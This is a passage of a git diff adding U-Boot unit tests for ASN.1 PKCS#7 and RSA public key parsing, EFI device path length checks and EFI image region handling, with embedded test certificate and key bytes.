+ 0x55, 0x04, 0x06, 0x13, 0x02, 0x4a, 0x50, 0x31, 0x0e, 0x30, 0x0c, 0x06,
+ 0x03, 0x55, 0x04, 0x08, 0x0c, 0x05, 0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x31,
+ 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x04, 0x07, 0x0c, 0x05, 0x54, 0x6f,
+ 0x6b, 0x79, 0x6f, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x0a,
+ 0x0c, 0x06, 0x4c, 0x69, 0x6e, 0x61, 0x72, 0x6f, 0x31, 0x0b, 0x30, 0x09,
+ 0x06, 0x03, 0x55, 0x04, 0x0b, 0x0c, 0x02, 0x53, 0x57, 0x31, 0x0f, 0x30,
+ 0x0d, 0x06, 0x03, 0x55, 0x04, 0x03, 0x0c, 0x06, 0x54, 0x65, 0x73, 0x74,
+ 0x65, 0x72, 0x31, 0x1c, 0x30, 0x1a, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86,
+ 0xf7, 0x0d, 0x01, 0x09, 0x01, 0x16, 0x0d, 0x74, 0x65, 0x73, 0x74, 0x40,
+ 0x74, 0x65, 0x73, 0x74, 0x2e, 0x6f, 0x72, 0x67, 0x30, 0x1e, 0x17, 0x0d,
+ 0x31, 0x39, 0x31, 0x30, 0x31, 0x38, 0x30, 0x33, 0x31, 0x33, 0x33, 0x31,
+ 0x5a, 0x17, 0x0d, 0x32, 0x30, 0x31, 0x30, 0x31, 0x37, 0x30, 0x33, 0x31,
+ 0x33, 0x33, 0x31, 0x5a, 0x30, 0x7a, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03,
+ 0x55, 0x04, 0x06, 0x13, 0x02, 0x4a, 0x50, 0x31, 0x0e, 0x30, 0x0c, 0x06,
+ 0x03, 0x55, 0x04, 0x08, 0x0c, 0x05, 0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x31,
+ 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x04, 0x07, 0x0c, 0x05, 0x54, 0x6f,
+ 0x6b, 0x79, 0x6f, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x0a,
+ 0x0c, 0x06, 0x4c, 0x69, 0x6e, 0x61, 0x72, 0x6f, 0x31, 0x0b, 0x30, 0x09,
+ 0x06, 0x03, 0x55, 0x04, 0x0b, 0x0c, 0x02, 0x53, 0x57, 0x31, 0x0f, 0x30,
+ 0x0d, 0x06, 0x03, 0x55, 0x04, 0x03, 0x0c, 0x06, 0x54, 0x65, 0x73, 0x74,
+ 0x65, 0x72, 0x31, 0x1c, 0x30, 0x1a, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86,
+ 0xf7, 0x0d, 0x01, 0x09, 0x01, 0x16, 0x0d, 0x74, 0x65, 0x73, 0x74, 0x40,
+ 0x74, 0x65, 0x73, 0x74, 0x2e, 0x6f, 0x72, 0x67, 0x30, 0x82, 0x01, 0x22,
+ 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01,
+ 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a,
+ 0x02, 0x82, 0x01, 0x01, 0x00, 0x9f, 0x37, 0x4d, 0x95, 0x7e, 0x36, 0xb7,
+ 0xaf, 0xf4, 0xd6, 0xce, 0x39, 0x04, 0xee, 0xbf, 0x36, 0xb2, 0xcc, 0xa3,
+ 0x8b, 0x9e, 0xac, 0x62, 0x8a, 0xe9, 0xae, 0x18, 0xcf, 0xe8, 0x95, 0xfd,
+ 0xcb, 0xad, 0x34, 0x8a, 0x5f, 0x55, 0xe6, 0x0c, 0x5e, 0xf8, 0x76, 0xc1,
+ 0xa2, 0xc3, 0xd4, 0x73, 0x13, 0x8a, 0x71, 0x1b, 0xfd, 0x58, 0x27, 0xea,
+ 0x4d, 0x41, 0xff, 0x63, 0xbb, 0xad, 0x97, 0x62, 0xba, 0xe4, 0xe5, 0x97,
+ 0x45, 0xa3, 0x5b, 0xd5, 0x5b, 0x53, 0x55, 0x10, 0x19, 0xfa, 0xac, 0xbd,
+ 0xdb, 0x77, 0x62, 0x23, 0x50, 0x3f, 0x35, 0xdb, 0x8a, 0xf6, 0xee, 0x7a,
+ 0x31, 0xec, 0x92, 0xf5, 0x78, 0x35, 0x92, 0x76, 0x3c, 0x5f, 0xe7, 0xee,
+ 0xc9, 0xed, 0x01, 0x1c, 0x42, 0x55, 0xd6, 0x7e, 0xa6, 0xca, 0x7c, 0xd1,
+ 0x15, 0x16, 0x87, 0x7c, 0x99, 0x63, 0xc0, 0xa9, 0x25, 0x49, 0xbc, 0x4e,
+ 0xdc, 0x2d, 0x4b, 0xcb, 0x52, 0xd7, 0x67, 0xe9, 0x83, 0x6b, 0x5e, 0x5b,
+ 0x48, 0x80, 0x33, 0xe9, 0xcc, 0xe8, 0xfe, 0x19, 0xc8, 0xc2, 0x61, 0x74,
+ 0x52, 0x25, 0x92, 0x48, 0xea, 0xad, 0x15, 0x16, 0x64, 0x6e, 0x53, 0x30,
+ 0x77, 0xa2, 0xef, 0x61, 0x92, 0x1b, 0x5e, 0xbe, 0x07, 0xf2, 0x3c, 0xf8,
+ 0x35, 0x7d, 0x76, 0x4f, 0x78, 0xa9, 0x2a, 0xf1, 0x32, 0xff, 0xec, 0x89,
+ 0xa9, 0x22, 0x4c, 0x3d, 0xc8, 0x65, 0xca, 0xf4, 0xa2, 0x6d, 0x3f, 0xa4,
+ 0x0a, 0xfa, 0x9e, 0xe4, 0xf0, 0xdb, 0x39, 0xb1, 0xf9, 0xf0, 0xfb, 0x04,
+ 0x81, 0x44, 0xa7, 0xd7, 0x61, 0xdf, 0x2d, 0x13, 0x45, 0x2c, 0xae, 0xf0,
+ 0x0e, 0xc4, 0x07, 0x5d, 0x7d, 0x2b, 0xb2, 0x20, 0x75, 0x33, 0x6b, 0x5b,
+ 0xf7, 0xe7, 0x17, 0x51, 0xf1, 0xab, 0xc1, 0x9e, 0xc6, 0xf0, 0x30, 0xc6,
+ 0x25, 0x26, 0x3e, 0xd7, 0xd7, 0xa3, 0xcc, 0x15, 0x95, 0x02, 0x03, 0x01,
+ 0x00, 0x01, 0xa3, 0x50, 0x30, 0x4e, 0x30, 0x1d, 0x06, 0x03, 0x55, 0x1d,
+ 0x0e, 0x04, 0x16, 0x04, 0x14, 0x45, 0x8a, 0x76, 0xf7, 0x4f, 0xf4, 0x0e,
+ 0xa0, 0xf2, 0x02, 0xe1, 0xe7, 0xe9, 0xc7, 0x7d, 0x51, 0x55, 0x92, 0x33,
+ 0xcd, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x1d, 0x23, 0x04, 0x18, 0x30, 0x16,
+ 0x80, 0x14, 0x45, 0x8a, 0x76, 0xf7, 0x4f, 0xf4, 0x0e, 0xa0, 0xf2, 0x02,
+ 0xe1, 0xe7, 0xe9, 0xc7, 0x7d, 0x51, 0x55, 0x92, 0x33, 0xcd, 0x30, 0x0c,
+ 0x06, 0x03, 0x55, 0x1d, 0x13, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xff,
+ 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01,
+ 0x0b, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x47, 0x93, 0x82, 0x0e,
+ 0x8a, 0x70, 0x9d, 0x6c, 0x7a, 0xdb, 0x04, 0xb4, 0xc9, 0xef, 0x98, 0x28,
+ 0xc6, 0xd9, 0x53, 0x90, 0xc8, 0x25, 0x83, 0x07, 0x23, 0xe7, 0x59, 0x38,
+ 0xc1, 0xc0, 0x50, 0x28, 0x99, 0x92, 0xfb, 0x21, 0x24, 0x72, 0xe5, 0xa6,
+ 0x57, 0x30, 0x31, 0xb3, 0xdf, 0xa0, 0x17, 0xa9, 0x73, 0x9c, 0x39, 0x83,
+ 0xfb, 0xe4, 0xfa, 0x20, 0x1d, 0xfa, 0x33, 0x20, 0x0c, 0x72, 0x2a, 0x50,
+ 0x40, 0xbd, 0x2d, 0x33, 0xa2, 0xfc, 0x06, 0xf9, 0xfe, 0x86, 0x4f, 0x50,
+ 0x1d, 0x65, 0x37, 0xe9, 0x30, 0x33, 0x82, 0xa1, 0x75, 0x8f, 0x5d, 0x33,
+ 0x84, 0x0d, 0xf2, 0x09, 0x04, 0xc0, 0x7a, 0x12, 0x79, 0xdb, 0x4f, 0x77,
+ 0x04, 0xe4, 0xd8, 0x0b, 0x87, 0x19, 0xba, 0xb7, 0x3c, 0xa6, 0x45, 0xaa,
+ 0x91, 0x62, 0x7f, 0x01, 0x7d, 0xc6, 0x20, 0x6d, 0x71, 0x15, 0x74, 0x5e,
+ 0x87, 0xb3, 0x60, 0x17, 0x9c, 0xc0, 0xed, 0x01, 0x4b, 0xb3, 0x23, 0x24,
+ 0xc1, 0xcb, 0x7a, 0x83, 0x03, 0x26, 0x2d, 0xde, 0x47, 0xc5, 0x11, 0x94,
+ 0x28, 0x27, 0x15, 0x92, 0x00, 0x8b, 0x2e, 0x51, 0x42, 0xca, 0x4b, 0x4a,
+ 0x2c, 0x51, 0x37, 0x56, 0xd0, 0xbc, 0x33, 0xd5, 0xd5, 0x3e, 0x79, 0x5c,
+ 0x3f, 0x9d, 0x6e, 0xb1, 0xe9, 0x71, 0xf1, 0x2c, 0xe9, 0xb4, 0x88, 0x2c,
+ 0xd2, 0x49, 0x97, 0xce, 0x29, 0x94, 0x16, 0xc9, 0xf9, 0x64, 0x0e, 0xd0,
+ 0xd9, 0x7a, 0x53, 0x10, 0x1a, 0xee, 0x83, 0x73, 0x93, 0x1b, 0xdf, 0x8a,
+ 0x77, 0xc0, 0x56, 0x63, 0xab, 0x5a, 0x65, 0xc5, 0xc5, 0x3b, 0xf3, 0x30,
+ 0x80, 0xfc, 0x38, 0x8b, 0xc9, 0xcd, 0xc3, 0x4f, 0x2e, 0x2d, 0x67, 0xcc,
+ 0x17, 0x18, 0x9b, 0x3e, 0xc6, 0x47, 0x03, 0xfc, 0x35, 0xa8, 0x35, 0x06,
+ 0x5a, 0x77, 0xe5, 0x97, 0x71, 0xbb, 0x27, 0x93, 0x0d, 0x1f, 0x0e, 0x8c,
+ 0x31, 0x82, 0x02, 0x9b, 0x30, 0x82, 0x02, 0x97, 0x02, 0x01, 0x01, 0x30,
+ 0x81, 0x87, 0x30, 0x7a, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
+ 0x06, 0x13, 0x02, 0x4a, 0x50, 0x31, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55,
+ 0x04, 0x08, 0x0c, 0x05, 0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x31, 0x0e, 0x30,
+ 0x0c, 0x06, 0x03, 0x55, 0x04, 0x07, 0x0c, 0x05, 0x54, 0x6f, 0x6b, 0x79,
+ 0x6f, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x0c, 0x06,
+ 0x4c, 0x69, 0x6e, 0x61, 0x72, 0x6f, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03,
+ 0x55, 0x04, 0x0b, 0x0c, 0x02, 0x53, 0x57, 0x31, 0x0f, 0x30, 0x0d, 0x06,
+ 0x03, 0x55, 0x04, 0x03, 0x0c, 0x06, 0x54, 0x65, 0x73, 0x74, 0x65, 0x72,
+ 0x31, 0x1c, 0x30, 0x1a, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d,
+ 0x01, 0x09, 0x01, 0x16, 0x0d, 0x74, 0x65, 0x73, 0x74, 0x40, 0x74, 0x65,
+ 0x73, 0x74, 0x2e, 0x6f, 0x72, 0x67, 0x02, 0x09, 0x00, 0xd7, 0x17, 0x0a,
+ 0x76, 0xd5, 0xd3, 0x4d, 0xeb, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48,
+ 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0xa0, 0x81, 0xe5, 0x30,
+ 0x19, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x03,
+ 0x31, 0x0c, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02,
+ 0x01, 0x04, 0x30, 0x1c, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d,
+ 0x01, 0x09, 0x05, 0x31, 0x0f, 0x17, 0x0d, 0x31, 0x39, 0x31, 0x30, 0x31,
+ 0x38, 0x30, 0x35, 0x35, 0x35, 0x32, 0x36, 0x5a, 0x30, 0x2f, 0x06, 0x09,
+ 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x04, 0x31, 0x22, 0x04,
+ 0x20, 0x13, 0xe9, 0x2d, 0xcd, 0x35, 0x43, 0xe0, 0x13, 0x34, 0xc5, 0x67,
+ 0xde, 0xdd, 0x75, 0xdc, 0x62, 0x97, 0x76, 0x7d, 0x5b, 0xa0, 0xb4, 0x4d,
+ 0x4f, 0xef, 0xb8, 0xa7, 0x95, 0x50, 0xcb, 0x0f, 0xec, 0x30, 0x79, 0x06,
+ 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x0f, 0x31, 0x6c,
+ 0x30, 0x6a, 0x30, 0x0b, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03,
+ 0x04, 0x01, 0x2a, 0x30, 0x0b, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65,
+ 0x03, 0x04, 0x01, 0x16, 0x30, 0x0b, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01,
+ 0x65, 0x03, 0x04, 0x01, 0x02, 0x30, 0x0a, 0x06, 0x08, 0x2a, 0x86, 0x48,
+ 0x86, 0xf7, 0x0d, 0x03, 0x07, 0x30, 0x0e, 0x06, 0x08, 0x2a, 0x86, 0x48,
+ 0x86, 0xf7, 0x0d, 0x03, 0x02, 0x02, 0x02, 0x00, 0x80, 0x30, 0x0d, 0x06,
+ 0x08, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x03, 0x02, 0x02, 0x01, 0x40,
+ 0x30, 0x07, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x07, 0x30, 0x0d, 0x06,
+ 0x08, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x03, 0x02, 0x02, 0x01, 0x28,
+ 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01,
+ 0x01, 0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0x38, 0x40, 0x09, 0xc7, 0xc4,
+ 0xf7, 0x78, 0x48, 0x75, 0x1e, 0xb2, 0x50, 0x95, 0x0a, 0x52, 0xee, 0x57,
+ 0x60, 0xc5, 0xf4, 0xdb, 0xca, 0x67, 0xb0, 0x19, 0xad, 0x68, 0xb1, 0xe1,
+ 0x1e, 0xb7, 0xf6, 0x53, 0x3d, 0x13, 0xb1, 0x11, 0x37, 0xa7, 0x6e, 0x9b,
+ 0x18, 0x1d, 0x0e, 0xbd, 0xc4, 0xb2, 0xd0, 0x36, 0x6c, 0x0c, 0x5a, 0x11,
+ 0x50, 0xcc, 0xdb, 0x1f, 0x6b, 0xcb, 0x28, 0x80, 0xd5, 0x3c, 0x4f, 0x93,
+ 0x0b, 0xd1, 0x45, 0x75, 0xa1, 0x89, 0x00, 0x71, 0x7d, 0x55, 0xcc, 0x1c,
+ 0x0a, 0xc9, 0xc4, 0xe6, 0x87, 0xf2, 0x87, 0x0d, 0x2e, 0x79, 0x71, 0x85,
+ 0x01, 0xd7, 0x32, 0x87, 0x9a, 0x11, 0xc6, 0x9a, 0xbb, 0x0a, 0x7b, 0xce,
+ 0xfe, 0xc8, 0xee, 0x10, 0x3c, 0xa6, 0x47, 0xdd, 0xbb, 0xa7, 0xf5, 0x19,
+ 0x50, 0xd5, 0x2a, 0x11, 0x44, 0x2f, 0x65, 0x09, 0x69, 0x50, 0xfa, 0xbd,
+ 0x02, 0xe4, 0x90, 0xdc, 0x2a, 0x7c, 0xdb, 0x82, 0x03, 0xa5, 0x28, 0x91,
+ 0x74, 0x7c, 0xd3, 0x83, 0xc8, 0x11, 0x1a, 0x14, 0x1b, 0xba, 0xb1, 0x82,
+ 0xbd, 0x53, 0xad, 0x9c, 0x34, 0x05, 0xfa, 0x2d, 0x14, 0x58, 0x5e, 0x50,
+ 0x64, 0x60, 0x5c, 0x21, 0x7c, 0xe6, 0xf0, 0x2b, 0xa2, 0xec, 0xe5, 0xeb,
+ 0xda, 0x88, 0xe2, 0x19, 0x36, 0x96, 0x65, 0xf7, 0x4c, 0x62, 0x9b, 0x75,
+ 0x24, 0xb4, 0xb1, 0x34, 0x83, 0xba, 0x05, 0x01, 0xd8, 0xe1, 0x33, 0xd3,
+ 0x1a, 0xd6, 0x09, 0x84, 0x31, 0xd0, 0x67, 0xf3, 0x3b, 0x0e, 0x19, 0x98,
+ 0x7e, 0x07, 0xdc, 0xe1, 0xd8, 0x45, 0x84, 0xa2, 0xdd, 0x8a, 0x04, 0x6a,
+ 0x43, 0xcf, 0xff, 0x7c, 0x9e, 0x83, 0xa8, 0x5d, 0xbc, 0x1f, 0x45, 0x86,
+ 0x5b, 0x2d, 0xcd, 0x9d, 0xa0, 0xba, 0x4d, 0xd2, 0xc6, 0xb9, 0xc5, 0x34,
+ 0x39, 0x29, 0x20, 0xee, 0x27, 0x60, 0x46, 0x9c, 0x62, 0xbe, 0xf2
+};
+
+static unsigned int image_pk7_len = 1811;
+
+/**
+ * lib_asn1_pkcs7() - unit test for asn1 decoder function
+ * with pkcs7 message parser
+ *
+ * @uts: unit test state
+ * Return: 0 = success, 1 = failure
+ */
+static int lib_asn1_pkcs7(struct unit_test_state *uts)
+{
+ struct pkcs7_message *pkcs7;
+
+ pkcs7 = pkcs7_parse_message(image_pk7, image_pk7_len);
+
+ ut_assertf(!IS_ERR(pkcs7), "decoding failed\n");
+ ut_assertf(pkcs7->data_len == 104, "signature size doesn't match\n");
+ ut_assertf(pkcs7->signed_infos != NULL, "sign-info doesn't exist\n");
+ ut_assertf(pkcs7->signed_infos->msgdigest_len == 32,
+ "digest size doesn't match\n");
+ ut_assertf(pkcs7->signed_infos->aa_set == 0xf,
+ "authenticated attributes doesn't match\n");
+
+ pkcs7_free_message(pkcs7);
+
+ return CMD_RET_SUCCESS;
+}
+
+LIB_TEST(lib_asn1_pkcs7, 0);
+#endif /* CONFIG_PKCS7_MESSAGE_PARSER */
+
+#ifdef CONFIG_RSA_PUBLIC_KEY_PARSER
+#include <crypto/internal/rsa.h>
+
+/*
+ * openssl genrsa 2048 -out private.pem
+ * openssl rsa -in private.pem -pubout -outform der -out public.der
+ * dd if=public.der of=public.raw bs=24 skip=1
+ */
+static const unsigned char public_key[] = {
+ 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xca, 0x25, 0x23,
+ 0xe0, 0x0a, 0x4d, 0x8f, 0x56, 0xfc, 0xc9, 0x06, 0x4c, 0xcc, 0x94, 0x43,
+ 0xe0, 0x56, 0x44, 0x6e, 0x37, 0x54, 0x87, 0x12, 0x84, 0xf9, 0x07, 0x4f,
+ 0xe4, 0x23, 0x40, 0xc3, 0x43, 0x84, 0x37, 0x86, 0xd3, 0x9d, 0x95, 0x1c,
+ 0xe4, 0x8a, 0x66, 0x02, 0x09, 0xe2, 0x3d, 0xce, 0x2c, 0xc6, 0x02, 0x6a,
+ 0xd4, 0x65, 0x61, 0xff, 0x85, 0x6f, 0x88, 0x63, 0xba, 0x31, 0x62, 0x1e,
+ 0xb7, 0x95, 0xe9, 0x08, 0x3c, 0xe9, 0x35, 0xde, 0xfd, 0x65, 0x92, 0xb8,
+ 0x9e, 0x71, 0xa4, 0xcd, 0x47, 0xfd, 0x04, 0x26, 0xb9, 0x78, 0xbf, 0x05,
+ 0x0d, 0xfc, 0x00, 0x84, 0x08, 0xfc, 0xc4, 0x4b, 0xea, 0xf5, 0x97, 0x68,
+ 0x0d, 0x97, 0xd7, 0xff, 0x4f, 0x92, 0x82, 0xd7, 0xbb, 0xef, 0xb7, 0x67,
+ 0x8e, 0x72, 0x54, 0xe8, 0xc5, 0x9e, 0xfd, 0xd8, 0x38, 0xe9, 0xbe, 0x19,
+ 0x37, 0x5b, 0x36, 0x8b, 0xbf, 0x49, 0xa1, 0x59, 0x3a, 0x9d, 0xad, 0x92,
+ 0x08, 0x0b, 0xe3, 0xa4, 0xa4, 0x7d, 0xd3, 0x70, 0xc0, 0xb8, 0xfb, 0xc7,
+ 0xda, 0xd3, 0x19, 0x86, 0x37, 0x9a, 0xcd, 0xab, 0x30, 0x96, 0xab, 0xa4,
+ 0xa2, 0x31, 0xa0, 0x38, 0xfb, 0xbf, 0x85, 0xd3, 0x24, 0x39, 0xed, 0xbf,
+ 0xe1, 0x31, 0xed, 0x6c, 0x39, 0xc1, 0xe5, 0x05, 0x2e, 0x12, 0x30, 0x36,
+ 0x73, 0x5d, 0x62, 0xf3, 0x82, 0xaf, 0x38, 0xc8, 0xca, 0xfa, 0xa1, 0x99,
+ 0x57, 0x3c, 0xe1, 0xc1, 0x7b, 0x05, 0x0b, 0xcc, 0x2e, 0xa9, 0x10, 0xc8,
+ 0x68, 0xbd, 0x27, 0xb6, 0x19, 0x9c, 0xd2, 0xad, 0xb3, 0x1f, 0xca, 0x35,
+ 0x6e, 0x84, 0x23, 0xa1, 0xe9, 0xa4, 0x4c, 0xab, 0x19, 0x09, 0x79, 0x6e,
+ 0x3c, 0x7b, 0x74, 0xfc, 0x33, 0x05, 0xcf, 0xa4, 0x2e, 0xeb, 0x55, 0x60,
+ 0x05, 0xc7, 0xcf, 0x3f, 0x92, 0xac, 0x2d, 0x69, 0x0b, 0x19, 0x16, 0x79,
+ 0x75, 0x02, 0x03, 0x01, 0x00, 0x01
+};
+
+static unsigned int public_key_len = 270;
+
+/**
+ * lib_asn1_pkey() - unit test for asn1 decoder function
+ * with RSA public key parser
+ *
+ * @uts: unit test state
+ * Return: 0 = success, 1 = failure
+ */
+static int lib_asn1_pkey(struct unit_test_state *uts)
+{
+ struct rsa_key pkey;
+ int ret;
+
+ ret = rsa_parse_pub_key(&pkey, public_key, public_key_len);
+
+ ut_assertf(ret == 0, "decoding failed (%d)\n", ret);
+ ut_assertf(pkey.n_sz == 257, "public key modulus size doesn't match\n");
+ ut_assertf(pkey.e_sz == 3, "public key exponent size doesn't match\n");
+ ut_assertf(pkey.e[0] == 0x01 && pkey.e[1] == 0x00 && pkey.e[2] == 0x01,
+ "public key exponent doesn't match\n");
+
+ return CMD_RET_SUCCESS;
+}
+
+LIB_TEST(lib_asn1_pkey, 0);
+#endif /* CONFIG_RSA_PUBLIC_KEY_PARSER */
diff --git a/test/lib/cmd_ut_lib.c b/test/lib/cmd_ut_lib.c
new file mode 100644
index 00000000000..f98cb9b3c57
--- /dev/null
+++ b/test/lib/cmd_ut_lib.c
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2019 Heinrich Schuchardt <xypron.glpk@gmx.de>
+ *
+ * Unit tests for library functions
+ */
+
+#include <command.h>
+#include <test/lib.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+int do_ut_lib(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(lib_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(lib_test);
+
+ return cmd_ut_category("lib", "lib_test_", tests, n_ents, argc, argv);
+}
diff --git a/test/lib/efi_device_path.c b/test/lib/efi_device_path.c
new file mode 100644
index 00000000000..290c8768fa4
--- /dev/null
+++ b/test/lib/efi_device_path.c
@@ -0,0 +1,49 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test device path functions
+ *
+ * Copyright (c) 2020 Heinrich Schuchardt <xypron.glpk@gmx.de>
+ */
+
+#include <efi_loader.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int lib_test_efi_dp_check_length(struct unit_test_state *uts)
+{
+ /* end of device path */
+ u8 d1[] __aligned(2) = {
+ 0x7f, 0xff, 0x04, 0x00 };
+ /* device path node with length less then 4 */
+ u8 d2[] __aligned(2) = {
+ 0x01, 0x02, 0x02, 0x00, 0x04, 0x00, 0x7f, 0xff, 0x04, 0x00 };
+ /* well formed device path */
+ u8 d3[] __aligned(2) = {
+ 0x03, 0x02, 0x08, 0x00, 0x01, 0x00, 0x01, 0x00,
+ 0x7f, 0xff, 0x04, 0x00 };
+
+ struct efi_device_path *p1 = (struct efi_device_path *)d1;
+ struct efi_device_path *p2 = (struct efi_device_path *)d2;
+ struct efi_device_path *p3 = (struct efi_device_path *)d3;
+
+ ut_asserteq((ssize_t)-EINVAL, efi_dp_check_length(p1, SIZE_MAX));
+ ut_asserteq((ssize_t)sizeof(d1), efi_dp_check_length(p1, sizeof(d1)));
+ ut_asserteq((ssize_t)sizeof(d1),
+ efi_dp_check_length(p1, sizeof(d1) + 4));
+ ut_asserteq((ssize_t)-1, efi_dp_check_length(p1, sizeof(d1) - 1));
+
+ ut_asserteq((ssize_t)-1, efi_dp_check_length(p2, sizeof(d2)));
+
+ ut_asserteq((ssize_t)-1, efi_dp_check_length(p3, sizeof(d3) - 1));
+ ut_asserteq((ssize_t)sizeof(d3), efi_dp_check_length(p3, sizeof(d3)));
+ ut_asserteq((ssize_t)sizeof(d3), efi_dp_check_length(p3, SSIZE_MAX));
+ ut_asserteq((ssize_t)-EINVAL,
+ efi_dp_check_length(p3, (size_t)SSIZE_MAX + 1));
+ ut_asserteq((ssize_t)sizeof(d3),
+ efi_dp_check_length(p3, sizeof(d3) + 4));
+
+ return 0;
+}
+
+LIB_TEST(lib_test_efi_dp_check_length, 0);
diff --git a/test/lib/efi_image_region.c b/test/lib/efi_image_region.c
new file mode 100644
index 00000000000..3ca49dc4a2e
--- /dev/null
+++ b/test/lib/efi_image_region.c
@@ -0,0 +1,162 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) Copyright 2020, Heinrich Schuchardt <xypron.glpk@gmx.de>
+ */
+
+#include <efi_loader.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#define UT_REG_CAPACITY 6
+
+static int lib_test_efi_image_region_add(struct unit_test_state *uts)
+{
+ struct efi_image_regions *regs;
+
+ regs = calloc(sizeof(*regs) +
+ sizeof(struct image_region) * UT_REG_CAPACITY, 1);
+ ut_assert(regs);
+
+ regs->max = UT_REG_CAPACITY;
+
+ ut_asserteq(0, regs->num);
+ ut_asserteq_64(EFI_INVALID_PARAMETER,
+ efi_image_region_add(regs, (void *)0x4000,
+ (void *)0x3000, 1));
+ ut_asserteq(0, regs->num);
+ ut_asserteq_64(EFI_SUCCESS,
+ efi_image_region_add(regs, (void *)0x3100,
+ (void *)0x4000, 1));
+ ut_asserteq(1, regs->num);
+ ut_asserteq_64(EFI_SUCCESS,
+ efi_image_region_add(regs, (void *)0x2000,
+ (void *)0x3100, 1));
+ ut_asserteq(2, regs->num);
+ ut_asserteq_64(EFI_SUCCESS,
+ efi_image_region_add(regs, (void *)0x1000,
+ (void *)0x1f00, 1));
+ ut_asserteq(3, regs->num);
+ ut_asserteq_64(EFI_SUCCESS,
+ efi_image_region_add(regs, (void *)0x4000,
+ (void *)0x4e00, 1));
+ ut_asserteq(4, regs->num);
+ ut_asserteq_64(EFI_SUCCESS,
+ efi_image_region_add(regs, (void *)0x1f00,
+ (void *)0x2001, 1));
+ ut_asserteq(5, regs->num);
+
+ ut_asserteq_ptr((void *)0x3100, regs->reg[0].data);
+ ut_asserteq(0x0f00, regs->reg[0].size);
+
+ ut_asserteq_ptr((void *)0x2000, regs->reg[1].data);
+ ut_asserteq(0x1100, regs->reg[1].size);
+
+ ut_asserteq_ptr((void *)0x1000, regs->reg[2].data);
+ ut_asserteq(0x0f00, regs->reg[2].size);
+
+ ut_asserteq_ptr((void *)0x4000, regs->reg[3].data);
+ ut_asserteq(0x0e00, regs->reg[3].size);
+
+ ut_asserteq_ptr((void *)0x1f00, regs->reg[4].data);
+ ut_asserteq(0x0101, regs->reg[4].size);
+
+ free(regs);
+
+ return 0;
+}
+
+LIB_TEST(lib_test_efi_image_region_add, 0);
+
+static int lib_test_efi_image_region_sort(struct unit_test_state *uts)
+{
+ struct efi_image_regions *regs;
+
+ regs = calloc(sizeof(*regs) +
+ sizeof(struct image_region) * UT_REG_CAPACITY, 1);
+ ut_assert(regs);
+
+ regs->max = UT_REG_CAPACITY;
+
+ ut_asserteq(0, regs->num);
+ ut_asserteq_64(EFI_INVALID_PARAMETER,
+ efi_image_region_add(regs, (void *)0x4000,
+ (void *)0x3000, 0));
+ ut_asserteq(0, regs->num);
+ ut_asserteq_64(EFI_SUCCESS,
+ efi_image_region_add(regs, (void *)0x3100,
+ (void *)0x4000, 0));
+ ut_asserteq(1, regs->num);
+ ut_asserteq_64(EFI_SUCCESS,
+ efi_image_region_add(regs, (void *)0x2000,
+ (void *)0x3100, 0));
+ ut_asserteq(2, regs->num);
+ ut_asserteq_64(EFI_SUCCESS,
+ efi_image_region_add(regs, (void *)0x1000,
+ (void *)0x1f00, 0));
+ ut_asserteq(3, regs->num);
+ ut_asserteq_64(EFI_SUCCESS,
